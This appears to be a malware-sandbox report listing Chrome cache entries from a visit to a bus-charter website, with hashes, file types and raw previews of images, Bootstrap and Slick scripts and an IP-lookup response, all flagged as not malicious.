SSDEEP:	96:46ncszDFVjeQa53NfUyo+WfX2h/MFnEiWBE79Iqch9SKcBTIGZY0kF35hxl9Fi/F:4Czp5eztt1ojKfirODhLf0kFbx69yYiG
MD5:	8D173F4833D60E3E85E02673C691F723
SHA1:	06D2EF3F5A8A23920967CAF91D8C607D23929B47
SHA-256:	BF058CB945F4790017635C2BA4A4FB47CED9FB6CF9B3318637EDAC9461DCAF9E
SHA-512:	9C2281ADC83C67A026E44BE568427E945ADDAD6343BFB3B70975077FF99C8B98572FB313CF49361B34929DC50950E5D464DC556C4DBF06555A0BED4F064D39BF
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/trust_banner/a-plus.png
Preview:	.PNG........IHDR....................pHYs...%...%.IR$....&IDATx..y..U....... ;.....(..:...A..A.$....(. ..23...2....$A@...n..H! (R........L..q^..S.].....;....]....{..{.Y.DiFK..x..e`.g[z....m.a8a.o.j.!.=...l..^.1......\|.q(...4.0...F...........L1.c,ms[...9.Vz..0....T.........1.0.2..TN.^9...C..(.-Ne.pz...iC....68.......^E;~.......<.....1.Yb....T...=.=g...7.0...Tf...C.....=.aT d.r.R.S....3...,2.cBBu..=>...U.].-2...!..n.\|n...8...x.j..Z..Ko.n..F...R...Q6.....'.o#Nj.....0.%4........~...(.0.q..l...@.&."$.n....a."$......+.FV-.+!.0...S..8..=....>..=...Bq.Q\..u...7..mH.a...8.....!G..DN...P ......'....D........+Bp/..Ja?.6.u..0....Sy.o..l.,...l....h-!8.....\|.&,.k.....l:.-..#p=p.oC..m..T.:J......\|.b.m"..........?.6.0.B.N.Q..L.td..oC.....T..m@.....m.a.....m.......aLH.N%.m@....D=...........=z.0.Q..T...m@........P....A....[c...........q.QJ(N....J.FT.E..0.P...Ho.6`..........,Bi.P.......).Gi6.8.w=...'.U.d.fx8.N.9.....u.\|.P.~+.7.>.._...6...g._#-....q......

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 55, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2457
Entropy (8bit):	7.511152132467391
Encrypted:	false
SSDEEP:	48:wjP8mN1oJG3LhhfAS1LEE1SNnSZ8I7+jumWq7D+O:TM1oJG7h9npEzJSZgjuqH
MD5:	191C725666BAB08D8B5C4DD558A80D20
SHA1:	1F00836BACDE0CEA092D30FFE663FBE7E305CA1D
SHA-256:	7004FDBB03850475A74580D68135BF5EEC3EF1FE88348CC8A2F02A39EBD3B654
SHA-512:	2E15DEFAAD419F28B4B0285364D4B1AC054BAA7BCC8E3ACF71A2EA7EA3675D3F98B3AE221B7359D564DCDEC53EEEB1CF39EFD911780309CD25DDFE1DC78F905A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......7......3.....sRGB...,.....pHYs...%...%.IR$.....PLTE...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................4+.S....tRNS..5_^]3.Rbc=..P`fed9..\.?(.......'...{.*t....~8.,.[2.g.@4..."x..jX....H....N\|.......T....ySGKY#........... ..0.U&..V......}..-..EC...hZ..k....Lu.>....6l...Q.<z....a.D..../.)...O7.W...n.rM..;.:...+w.

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 292x195, components 3
Category:	dropped
Size (bytes):	19186
Entropy (8bit):	7.968131926079933
Encrypted:	false
SSDEEP:	384:cn1xWLJlFSrall3BLwtt7fwPmHIypTQ/oWJq471Nz4GfEDhBp0A/8k:cyLLKKlWtauHtpTgJvwGfEDqk
MD5:	386D04654F9E6A2426D09B6690F4A055
SHA1:	EEDD5539FF970A34FE14CF23CD104ADC4E5ED185
SHA-256:	9F38AE55C8B3A635AAA397E8B15B31A1BB4449687D85914E9DABC4C426EDD3D8
SHA-512:	DBF8063A1BA6EAB370EC36EA07D9EFC18BAD34E3FBEEFDDA7CDADCB00410ECFDCBA7E25291510BCFC8B72AD577CFAE19FAC74A00731EB7E80936835E4564E762
Malicious:	false
Reputation:	low
Preview:	......JFIF.....................................................................&""&0-0>>T.......................................................&""&0-0>>T........$.............7.....................................................................G......../...4..BB...hD.../_....9.o....3." .....W.RV..v].`.Jb....c..%p..q.......#)..A..A_..6..V..WA-^.8.....y.T.oz\|R..M.5k.d.:.c..$&;.%K..k.8x.......;m.l.YHt...a`.89....f.b.S.....&../..d.+...(..M.U....y.l..eV..YM...V_C[.O(.A....2......v!(.BO .J.aJ...4X.9...\|.V.....'..B..r.....u...H+?......i`s6....E.P..`.c.#.<..v.D..N.s.J.G.....VQ..Bl...mV../.......%#(...kfx.z).......Bf.\........:.?.$..y............#6.C<.....C.".......`F.Y...c.z.k.-.....<.B.%..Y....J...!.Dq.P....BO....E2).xp...;.#m..\....X.5..I....%..M..f...=N..T.m...~R..$`...p..i.q.g6... K\.ng..=@..r.N.J...e..6...{xZEf...p..ZL.y.W..g.<.......f...@..3tm.g...v8&...N..G.....W...Kl...x.f6.......Z.d..A........ZH4.&..z~..k....Fq..U..F...2.\6.g].,.5....y..r.\|

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	downloaded
Size (bytes):	351393
Entropy (8bit):	7.9718210190615295
Encrypted:	false
SSDEEP:	6144:5uFiKUclS0B15HWANXfy6Yua3L0FzThq3YIpbWTItlc18mMtiThAMnxdy2IeaFh:52S0d2A4Mab0zThq3YIpiTn1MtiT+CxE
MD5:	73919EF1ACA45D8758881EC8A29A7402
SHA1:	67340F8D2C9D6763997FD3B02804DA3CF9F157ED
SHA-256:	4FA3DDEFF905F15112BF517599A7F31400EBAFD598284B2C7CB27AFD34AB7F1D
SHA-512:	797129C02786C650199B02A8480463A0A028A00CB65BDC8CFDC4BA4C25106222F1941B7EB1AD90B048DF3015EAF3044221BFF1A863D8956B233C3F99134CE441
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/amenties/exterior/GOGO_minibus_parked.jpg
Preview:	......JFIF.............C...................... ....&"((&"%$0=3-9.$%5H59?ADED)3KPJBO=CDA...C...........A,%,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......................................................................................................P......PP............................................................t.....,......K.......9.?...iu...K....@(...(...D...@...B...K.....(..)...Q...D..@D...}`PP ...@.P...R.@.....................................9.X..................Y.3v...@......@.....@......._OG.b....P ...R. %. . ..H..B..@..` "P "P".X. X.....%..\|...........(..............................................t......... ........=.][........,.@....,.....O....Z............@@J....@......D.@D.(D.J.@J.@J..D)..)......%..P.R....HP.........D.A@.............................7..P.................g.k.....(.`. ...........r~^]_.. .....%....!@...........".P..P..%...X..."..".....n........((.............(.(..............................X.c.............@...yp.{w.......... ......

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	dropped
Size (bytes):	29211
Entropy (8bit):	7.979392684968628
Encrypted:	false
SSDEEP:	768:/xJFIHy/vW1u3BtRWIV0HPuBQAQW5BAMaMu5XQh:ZsSYvcvqJo
MD5:	FA8A1DAB4E8304A65D1BD1DC5530444B
SHA1:	9081587060DD6A33A5B5FF6210D3DE52F4695189
SHA-256:	142FDAD02FEDB1532414847E2AF0D96604021DBEA02D9D41F9C40F2A42DF2481
SHA-512:	202F43AD37EDB5D9574C755D8E6A9313B9B74F4486952111F0F09C76E4549F71B6253A910DBC45E4A2FBC87F4EE65402DE61647FEFFA3B12FC6697BB2235CE83
Malicious:	false
Reputation:	low
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6...................................................................e+...R..}.)..E...W.M .t..v..V}..z+.......4)..\|...z...fi.rQ..7'.B.\h!..O.r...E.2.}.......h.Spaq.E.....Z......%....?...~...qK.J.\|...,,..k...Tu.D...Ta./....DQ......~....Y$.u...hK.;....l{...]......o.>...QG.{.2..y...T.......@..`......=Uz+..Lt.pbq.....<..].}..............L.5....E.%....!<...K?=..F...@w..jc.3.WP.z.)...0.2,^M.....{.%..}M.Yg.Y{.1.j.......y..R...S..J.P.}..U..0..5...;...W.c.gN'08...t...}.n......$l.P.s.....^.~f...Os/2Z6.s....,.1.....=8W...-;...]..Y..P. ..J..B...]..o...2.=..d.....%g)....YF#..$59.o.......y...I...p.0...;.....P..(.e....s.......E.u....3`.1..G..#.....e+K-3.}....z.X+AH....mt...<.6.G.....N?jR.........ig....YBa.Uu.l\|&.i.../.9.9.S.W.....k....A...Sy`DR...].E...k.='.K.z..-..%.99k

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 105 x 63, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	3080
Entropy (8bit):	7.3089219100691025
Encrypted:	false
SSDEEP:	96:gSu4wknmWpit56//yiIBH6KuGECJOr1Wy84j8Zzl+ded3k4c:gSuVknK6iisKCJKylCeZkT
MD5:	C4808786B85D747669694D5E2E145AA9
SHA1:	3CA575B0C5181E95F62067C5BEF1AC8E324D8D9B
SHA-256:	67AF1E362108E84A464DE5A5B1776EBC91EAF4280FDFCFEC10483882577BF669
SHA-512:	2CAFCB3B3C200353405A066C9A19DDA4811530964E947CE229DF23E8A59D2066C4BB88B93ED7C176633F27FD5E6CF9533ADC7C629E6DEBCB443A299EF64307D6
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/trust_banner/customer-support.png
Preview:	.PNG........IHDR...i...?.....l7q.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-12-28T13:14:20+05:30" xmp:ModifyDate="2021-12-28T13:30:01+05:30" xmp:MetadataDate="2021-12-28T13:30:01+05:30" xmpMM:InstanceID="xmp.iid:21a6ca51-e21b-ec46-9377-d9033dba226a" xmpMM:DocumentID="xmp.did:8E69714F415711EC9634C6B7C4BB483E" xmpMM:OriginalDocumentID="xmp.did:8E69714F41

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 269x179, components 3
Category:	downloaded
Size (bytes):	29211
Entropy (8bit):	7.979392684968628
Encrypted:	false
SSDEEP:	768:/xJFIHy/vW1u3BtRWIV0HPuBQAQW5BAMaMu5XQh:ZsSYvcvqJo
MD5:	FA8A1DAB4E8304A65D1BD1DC5530444B
SHA1:	9081587060DD6A33A5B5FF6210D3DE52F4695189
SHA-256:	142FDAD02FEDB1532414847E2AF0D96604021DBEA02D9D41F9C40F2A42DF2481
SHA-512:	202F43AD37EDB5D9574C755D8E6A9313B9B74F4486952111F0F09C76E4549F71B6253A910DBC45E4A2FBC87F4EE65402DE61647FEFFA3B12FC6697BB2235CE83
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/employee/upload/generalSliderImages/1667934813college-students.jpg
Preview:	......JFIF.........................................................................&$&22C...........................................................&$&22C......................6...................................................................e+...R..}.)..E...W.M .t..v..V}..z+.......4)..\|...z...fi.rQ..7'.B.\h!..O.r...E.2.}.......h.Spaq.E.....Z......%....?...~...qK.J.\|...,,..k...Tu.D...Ta./....DQ......~....Y$.u...hK.;....l{...]......o.>...QG.{.2..y...T.......@..`......=Uz+..Lt.pbq.....<..].}..............L.5....E.%....!<...K?=..F...@w..jc.3.WP.z.)...0.2,^M.....{.%..}M.Yg.Y{.1.j.......y..R...S..J.P.}..U..0..5...;...W.c.gN'08...t...}.n......$l.P.s.....^.~f...Os/2Z6.s....,.1.....=8W...-;...]..Y..P. ..J..B...]..o...2.=..d.....%g)....YF#..$59.o.......y...I...p.0...;.....P..(.e....s.......E.u....3`.1..G..#.....e+K-3.}....z.X+AH....mt...<.6.G.....N?jR.........ig....YBa.Uu.l\|&.i.../.9.9.S.W.....k....A...Sy`DR...].E...k.='.K.z..-..%.99k

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32033)
Category:	downloaded
Size (bytes):	37045
Entropy (8bit):	5.174934618594778
Encrypted:	false
SSDEEP:	768:o2rGy27UwlNqMl95qNmCFejhqs8snmi+CSFXfbx8Gf3Zq7Q:Jg73zhq0GvbJ3ZKQ
MD5:	5869C96CC8F19086AEE625D670D741F9
SHA1:	430A443D74830FE9BE26EFCA431F448C1B3740F9
SHA-256:	53964478A7C634E8DAD34ECC303DD8048D00DCE4993906DE1BACF67F663486EF
SHA-512:	8B3B64A1BB2F9E329F02D4CD7479065630184EBAED942EE61A9FF9E1CE34C28C0EECB854458977815CF3704A8697FA8A5D096D2761F032B74B70D51DA3E37F45
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/js_new_design/bootstrap.min.js
Preview:	/!. Bootstrap v3.3.7 (http://getbootstrap.com). * Copyright 2011-2016 Twitter, Inc.. * Licensed under the MIT license. */.if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9\|\|1==b[0]&&9==b[1]&&b[2]<1\|\|b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c\|\|a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 327 x 327, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13446
Entropy (8bit):	7.916123670241432
Encrypted:	false
SSDEEP:	192:u4/rX4dZ3wNaecwK4vj/dMW7UuIhVVEpJ1n3rei1W0ZlY9geI7W35EPB:u4kdZHjsj/aW7naVw3n3KkheF356
MD5:	6AE74484BB090424E81029AC5A1022E5
SHA1:	2FC6BF3C403107B0BB8ECDB1A21C73F3F7D0B2D7
SHA-256:	A9BEC55AE0F2C85940E36C8529DC4076900F58FC5F66E7EEF717762963333EAE
SHA-512:	146FE88F3734959EBFD13A3C9C80563A405EA26A7C538515CFD89A03482069462EC8C4CD3F952A5FA47F8BD3C1E9B5E543BE7D7F6F281E6A8BFA4AA40BCE7974
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...G...G.....2I.k....sRGB.........gAMA......a.....pHYs..........o.d..4.IDATx^...]U..A..^....R...... ..b.h...:......C.(..C..@..1.sn. (.@..D....A.9. ..F..2......{o.J.u.u......}..g.k.=.}..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!..B.!...\..J5.uo5[...[{T......z....$..m....x...o...R.vA.].....~. &.(..[..<I..ht..h..3...`I.K.........:...-..m....$........N...z.;c.Y...7k.t.JW..;F.Y.$.O6.....g......?....\|+K.....S.-...Y.r...hA.,.$}./.>.1...........9p.uV..Q..`T.!,.....G.-...7}.!..Q..J.:.%..X!./.......Q.....xZK..z....(MIL)&i....H..U0J....m<...YoN.jX.....h..y.7.m.Q..*..[ mO...=....~.65.(./I..u.D._.\|..IO.u...&.>.+A.t/.FW........hZ.$f5......i.y..:.$;....i.....J...x.D'Q.9..T..b.W.\..6....t...v..9...J..4....y4...W.~.SO.......<

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 70, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13480
Entropy (8bit):	7.9560409135057375
Encrypted:	false
SSDEEP:	384:wDKh4pr9oDUpuUH6BjgTJQAta2jldEGDGON:Bwr9M/UwgTuiaAI8
MD5:	A4E39C9F99423851D84AE8D6F521E66C
SHA1:	6348961503A02CC7F684E2C950E04A57C07F582A
SHA-256:	5219E548E113D071C433307D9232B6D194B145530D13B7F4C3C97F22D4DA5596
SHA-512:	79D13A1A492239A92592C88202D159BE3424B4BBF3401451F197BD3B5862947D65332EFF21D9CD8B6C071AF55FD2A5D854C73D78F4D19C5B36AE8ADD951A9599
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......F.....#!......sRGB...,.....pHYs...%...%.IR$...4MIDATx..}.....f6i...e....... 2. x...&.d.&c0.$.x$.@B.!.V.......h...2.`r.9gI................gCW.u.[..>}v..ag..........g........5.6...e.........V..}N...........J6.........K..@E...1....v...,..N.....A...2u+$.]+.k..g5.d...E?......0k..k...j......a.#..x....$..B.Nm..4..['.;e..j).Imc85~.....j.0"Nm..M1...91),&.#bki...v.?.s.....Z. ^i..b.._Hj..f...Y...]...0..>....Q.......4....1Hwp..2(.0...Yb.'..A.=6`MM..W..D....Z..MZ.\|m..W...."...g.=UP..+y..J....a./...a.&.+D.>E..$..'...:X`...4. A1.UU.%...($.=..^`Q.yd....C............Cg.....M..g.....+.)...1j/.......z.......w.I.C6R.P.c$f....\.....R&.r6...w.%........k..2..<.{W?;..5uu..P..i....o..Y....2..F.?B..@...m...R4.EN.u..Z.$.>.....](.....xf.C.?#.....]Q.o.4k7..G3=y1.U.[.i.......f.[....Wb{.....[...EE.A.o.g7.#..u....]Z\|...N.5{.Lr.S...4^.P.+...E..w.}wg....Ds$.t...UJ..z.]...!......*.?>.h(..vZ.z.m..J..".}.>>..>.H..@......(....E....^.]....Bbr(..c..

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	downloaded
Size (bytes):	232816
Entropy (8bit):	7.960744653063243
Encrypted:	false
SSDEEP:	6144:SDCWbOU72N8o/9QSrLzXIL30hgcXmN/gHDm0/BkTa:yCWqUC+o/9ZrLzYwhgcXmRgjm0T
MD5:	06EBE0971EC990FA07C6DC123943C7D6
SHA1:	74C23FA222C95255C41D1F1E5713701263F1D22F
SHA-256:	2F72ADA8EDD005A0C0E189297E5253E6A9865EDEF83A90B10877F89D5B0A8601
SHA-512:	2BE2C3EAE5B9B0FFA17637401AC5C4B8AFEF35D8B26173CD06022F88FB94FB3C20EB3930AE24D7A431F239607F28D2044EDE04DE65B080BBCC1097BB8CA371E5
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/amenties/exterior/GOGO_Minibus.jpg
Preview:	......JFIF.............C...................... ....&"((&"%$0=3-9.$%5H59?ADED)3KPJBO=CDA...C...........A,%,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..............................................................................................O.I&%D.e.H$K$...(.H&Q .....`H...I+._'.n...HP%@..$.(..............................................@............@.".......E... .B.q..DHY&. .I2......$,..J."$..L. ..~S....A.....H....@................................. .@..............).`.......... .(....T.....9:`LHY..d.HY.$.e....d..P$..T..$..I..y..w.h.!@.. .d.. .. .......H......................................@....... .`....d..H......N..$...I..&.!f..B.%.@%D...A"..J.i.~I..{.ABB.$.@.Y..@..H..H$....@.........$.A..H .............I... ........ .H....H.....A....H...P.A....VA0%D...0$,..A0Y..B. ..D...."B.G.......H...2...................... ......................@..............!....!.........P.A.'LH&.!%d,..A2.`H.........$....%D....9......@$..`.... ..$....@......$.............. .......@...... .. .

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 55, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2457
Entropy (8bit):	7.511152132467391
Encrypted:	false
SSDEEP:	48:wjP8mN1oJG3LhhfAS1LEE1SNnSZ8I7+jumWq7D+O:TM1oJG7h9npEzJSZgjuqH
MD5:	191C725666BAB08D8B5C4DD558A80D20
SHA1:	1F00836BACDE0CEA092D30FFE663FBE7E305CA1D
SHA-256:	7004FDBB03850475A74580D68135BF5EEC3EF1FE88348CC8A2F02A39EBD3B654
SHA-512:	2E15DEFAAD419F28B4B0285364D4B1AC054BAA7BCC8E3ACF71A2EA7EA3675D3F98B3AE221B7359D564DCDEC53EEEB1CF39EFD911780309CD25DDFE1DC78F905A
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/city/icon2.png
Preview:	.PNG........IHDR.......7......3.....sRGB...,.....pHYs...%...%.IR$.....PLTE...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................4+.S....tRNS..5_^]3.Rbc=..P`fed9..\.?(.......'...{.*t....~8.,.[2.g.@4..."x..jX....H....N\|.......T....ySGKY#........... ..0.U&..V......}..-..EC...hZ..k....Lu.>....6l...Q.<z....a.D..../.)...O7.W...n.rM..;.:...+w.

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.3519530742463743
Encrypted:	false
SSDEEP:	3:YMILFk9:YMH9
MD5:	3E282A071D3F95E2C37178FADAB0EE6D
SHA1:	342D3C20E2D036C7351809FA9A6C9E540CCD369C
SHA-256:	31A040500AEDA33D4490D07A2BAD394662D3BDA59FCBE3514B853EE06B59F956
SHA-512:	795EA89DAF84A12784A7ECC2AA24DF96044F52D13DA74CC894895747CEC14B8FEDFB92AB48E36D465919E60022F7309A5874289D2F51B0ADFC17CB335D185E77
Malicious:	false
Reputation:	low
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"191.101.61.23"}

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1280, components 3
Category:	downloaded
Size (bytes):	209096
Entropy (8bit):	7.952045003762157
Encrypted:	false
SSDEEP:	3072:nQn7a4VpNzJmetZF765tSIIbeFfm5GkS440qfNAa44ibDqmPzmbAJ0toIB2y9tzi:nQn7L/MWuFmUktEFb2DmmFkn9tm
MD5:	4E42BD7A8A894328FB7558CFA782E964
SHA1:	B393F968ED84D4E14A6B999CCE4D1A21BEE5CCBC
SHA-256:	3CA6B7E28BE0C31FFD0081594DB1C0AAB1A75239E055A08CA01500ACB43F1EA0
SHA-512:	3C86C2F338FA60C0389D878490E310C03622E0AA701E7CD81EC622E69D72CFC06E698020D41566D206A6A45E07BB3D8D2BA400AA4DF51F7F7479359821021014
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/amenties/exterior/GOGO_56_passenger_bus.jpg
Preview:	......JFIF.............C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================............................................................................................._..j.....PU.%QJ.b.....(,..U!iDPP.%Z.B.-....(,U...U%..@..H.(..V..P.......@.......b.)...d... RJ........ IhI(@@@@@.. H......X....!..$.B).(%....TPPYVYEJ.U..P.X-...QDPPR...(..PP..E...(Z..ATXR)@Z....... ...$.@..!HP@..@.......!d....% ...T.@.......B.. ".X "@..B!b@@.T.B!I.) .D.!bJ......hX..()TQ...-...RP...RU.(....ZPPP.......PP....J........U..%.,......"PB.!b......UH..,D....!V@@.I.D.)!. %$. "...B...$...A...(D.. .....Y.....,....j...RU...-AD...E(....AAB.-..AK.U.J.B...)B.X..%.h......(...Q.U.A...R.@X....%.@@.RY`.$.. H.J.%....................B...$.E. "Ad ".d..AJ.-...QBU...TR..Qb.R..@.((ZPPPUE(((,U.....((..`PPU..YV....H.......Q..!A.H....Q..`... "..P..".J.. ...E..".!b.B.!D..!b..P...B.....I ..!,..(,...H)AAV...P.-.......lU .iAA`U....

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	40462
Entropy (8bit):	5.175348725548557
Encrypted:	false
SSDEEP:	768:dhC6B2vMZwKB6GCjmS1WEYHr1oPzm+x4e0Z5igqIZ7NcIhy70r5T0cJ:FBR6V6Vr1oPz2e7ir5gcJ
MD5:	753934A6E07FB0149D146B9F60BA9BD9
SHA1:	93B86C7AB14981CD7E6E5BD168C807DCAA8FA8AA
SHA-256:	05B30F47378F484C060F82BB128F278E38244D8B7D8794972FAD04EDB5246F8B
SHA-512:	CD93A96782F62635C51464808D1DC9EE3AD27F2AE54EBB246104ABA71361EBF1B570BE3E8D99ECC8DE2DF8F56303F42FA26834E1F6C566F22EC90A671F16500C
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/js_new_design/slick.min.js
Preview:	./. _ _ _ _. ___\| (_) ___\| \| __ (_)___./ __\| \| \|/ __\| \|/ / \| / __\|.\__ \ \| \| (__\| < _ \| \__ \.\|___/_\|_\|\___\|_\|\_(_)/ \|___/. \|__/.. Version: 1.5.9. Author: Ken Wheeler. Website: http://kenwheeler.github.io. Docs: http://kenwheeler.github.io/slick. Repo: http://github.com/kenwheeler/slick. Issues: http://github.com/kenwheeler/slick/issues.. /.!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):"undefined"!=typeof exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){"use strict";var b=window.Slick\|\|{};b=function(){function c(c,d){var f,e=this;e.defaults={accessibility:!0,adaptiveHeight:!1,appendArrows:a(c),appendDots:a(c),arrows:!0,asNavFor:null,prevArrow:'<button type="button" data-role="none" class="slick-prev" aria-label="Previous" tabindex="0" role="button">Previous</button>',nextArrow:'<button type="button" data-role="none" class="slick-next" aria-label="Next" tabindex="0" role="button">Next

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
Preview:	<p></p>

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 503x507, components 3
Category:	downloaded
Size (bytes):	54654
Entropy (8bit):	7.97942527712513
Encrypted:	false
SSDEEP:	1536:xFXcVtM7k8DGzhUmBODCD6nYbMovK982zqH/pDDS3C67m9:xFX6tMo8DGzhUnCD6x4K9pqfpDS3C67i
MD5:	A1EFE78DAC8FE2E226D681016FB08561
SHA1:	D5A7DFBBB275A563E5F9E7AB74DEEC4C52B3E346
SHA-256:	6CA39DDB8B053ACC84275DAECDC25EC1B3CA2471B4627E22E130CC1B5255EDD2
SHA-512:	4EE1CA7A01B801F2562711895447B85995DC6139340948FFA75483B7F22E9D00D00B8346AA3EB52D503C5012AB9009B8C6A45DEDA74CE0A01687B9965FB5D33F
Malicious:	false
Reputation:	low
URL:	https://gogocharters.com/img_new_design/banner_slideshow/gogo-minibuses.jpg
Preview:	......JFIF................................................................"..."%%424DD\.................................................."..."%%424DD\...........!..........6...................................................................i.`. .. ...D....!..... H. ...."........."@.P .H.".@..@...$@$@.....Q ..H.. $..A.t9. ..........$..@."BD...&...%....!P I0.I....".... ..I.&.....H$..A..R L........&...$.. L...............L$.......`..@..$.........EH.$BR.H"@..... ..D. ....+GR...D. H...H ....D..@.A5... .$.$.....@.$@.......=...@BS.$H."@@.&a."....#.!Z$..$..I. .@.... ..... I.\D.$.......@!".@. ......h.$H@.....H. @....$...A2D..U...$.... J...H...H...H. .......$...D....JH.A"....&.. ....Bd.....D.ID......L....#...L..J.H....$.U]....+...U.Wro....&_B ...9.....@.&.."@....}k.~g.G.7o.:...h...d.H......@....D.....=]U.....;.>.]].qn?g.x1..y.{^,.. 